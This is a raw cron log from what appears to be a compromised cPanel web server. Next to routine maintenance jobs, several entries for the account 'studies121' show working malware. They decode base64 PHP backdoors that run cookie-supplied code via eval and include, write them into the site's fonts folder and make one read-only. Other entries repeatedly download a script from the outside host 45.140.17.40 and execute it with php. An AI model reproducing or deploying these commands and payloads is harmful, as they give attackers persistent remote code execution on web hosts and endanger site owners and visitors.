Aug 31 16:42:01 ip-184-168-122-23 CROND[30889]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 16:42:01 ip-184-168-122-23 CROND[30890]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:43:01 ip-184-168-122-23 CROND[30978]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 16:43:02 ip-184-168-122-23 CROND[30979]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:43:02 ip-184-168-122-23 CROND[30980]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 16:43:02 ip-184-168-122-23 CROND[30981]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:44:01 ip-184-168-122-23 CROND[31055]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 16:44:01 ip-184-168-122-23 CROND[31058]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:44:01 ip-184-168-122-23 CROND[31057]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 16:44:01 ip-184-168-122-23 CROND[31059]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 16:44:01 ip-184-168-122-23 CROND[31060]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:45:01 ip-184-168-122-23 CROND[31166]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 16:45:01 ip-184-168-122-23 CROND[31168]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Aug 31 16:45:01 ip-184-168-122-23 CROND[31169]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 16:45:01 ip-184-168-122-23 CROND[31170]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:45:01 ip-184-168-122-23 CROND[31171]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:45:01 ip-184-168-122-23 CROND[31172]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 16:45:01 ip-184-168-122-23 CROND[31174]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 16:46:01 ip-184-168-122-23 CROND[31327]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 16:46:01 ip-184-168-122-23 CROND[31329]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:46:01 ip-184-168-122-23 CROND[31330]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 16:46:01 ip-184-168-122-23 CROND[31331]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:46:01 ip-184-168-122-23 CROND[31332]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 16:46:01 ip-184-168-122-23 CROND[31333]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 31 16:46:01 ip-184-168-122-23 CROND[31334]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 16:47:01 ip-184-168-122-23 CROND[31475]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 16:47:01 ip-184-168-122-23 CROND[31478]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:47:01 ip-184-168-122-23 CROND[31479]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 16:47:01 ip-184-168-122-23 CROND[31477]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:48:01 ip-184-168-122-23 CROND[31576]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 16:48:01 ip-184-168-122-23 CROND[31574]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 16:48:01 ip-184-168-122-23 CROND[31578]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 16:48:01 ip-184-168-122-23 CROND[31575]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:48:01 ip-184-168-122-23 CROND[31577]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:49:01 ip-184-168-122-23 CROND[31771]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Aug 31 16:49:01 ip-184-168-122-23 CROND[31772]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:49:01 ip-184-168-122-23 CROND[31773]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 16:49:01 ip-184-168-122-23 CROND[31776]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 16:49:01 ip-184-168-122-23 CROND[31777]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:50:01 ip-184-168-122-23 CROND[31879]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 16:50:01 ip-184-168-122-23 CROND[31883]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 16:50:01 ip-184-168-122-23 CROND[31885]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:50:01 ip-184-168-122-23 CROND[31886]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 16:50:01 ip-184-168-122-23 CROND[31890]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 16:50:01 ip-184-168-122-23 CROND[31889]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:50:01 ip-184-168-122-23 CROND[31893]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 16:50:01 ip-184-168-122-23 CROND[31894]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 16:50:01 ip-184-168-122-23 CROND[31891]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 16:51:01 ip-184-168-122-23 CROND[32005]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:51:01 ip-184-168-122-23 CROND[32003]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 16:51:01 ip-184-168-122-23 CROND[32007]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 16:51:01 ip-184-168-122-23 CROND[32008]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:52:01 ip-184-168-122-23 CROND[32141]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:52:01 ip-184-168-122-23 CROND[32140]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 16:52:01 ip-184-168-122-23 CROND[32139]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:52:01 ip-184-168-122-23 CROND[32142]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 16:52:01 ip-184-168-122-23 CROND[32143]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 16:53:01 ip-184-168-122-23 CROND[32241]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 16:53:01 ip-184-168-122-23 CROND[32242]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 16:53:01 ip-184-168-122-23 CROND[32243]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:53:01 ip-184-168-122-23 CROND[32244]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:54:01 ip-184-168-122-23 CROND[32412]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 16:54:01 ip-184-168-122-23 CROND[32414]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
